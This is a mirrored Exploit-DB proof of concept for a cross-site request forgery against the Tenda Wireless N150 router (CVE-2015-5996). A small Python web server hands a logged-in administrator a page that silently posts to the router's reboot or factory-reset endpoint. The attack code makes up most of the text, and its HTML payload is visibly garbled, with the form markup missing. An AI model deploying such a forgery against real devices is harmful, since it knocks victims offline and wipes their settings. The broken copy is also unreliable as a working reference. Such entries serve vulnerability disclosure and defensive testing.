Tenda Wireless N150 Router 5.07.50 – Cross-Site Request Forgery (Reboot Router) - 体验盒子

作者： Nathu Nandwani

日期： 2018-07-23

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/45078/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

# Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)

# Date: 2018-07-21

# Exploit Author: Nathu Nandwani

# Website: http://nandtech.co

# CVE: CVE-2015-5996

#

# Description:

#

# The router is vulnerable to a cross-site request forgery attacker.

# If an administrator is currently logged in and visits a

# remote webpage containing forms existing in the router's firmware,

# a request can be forged to modify existing settings or even

# set the router to its default state.

#

# These are two examples that can work in the proof of concept:

# /goform/SysToolReboot - Reboot the router

# /goform/SysToolRestoreSet - Set the router to default settings

#

# Reference: https://www.kb.cert.org/vuls/id/630872

import socket

server_ip = "0.0.0.0"

server_port = 80

router_ip = "192.168.0.1"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.bind((server_ip, server_port))

sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)

client, (client_host, client_port) = sock.accept()

print "Client connected: " + client_host + ":" + str(client_port)

print ""

print client.recv(1000)

client.send('HTTP/1.0 200 OK\r\n')

client.send('Content-Type: text/html\r\n')

client.send('\r\n')

client.send("""

<html>

<body>

</form>

document.getElementById("frmSetup").submit();

</script>

</body>

</html>

""")

client.close()

sock.close()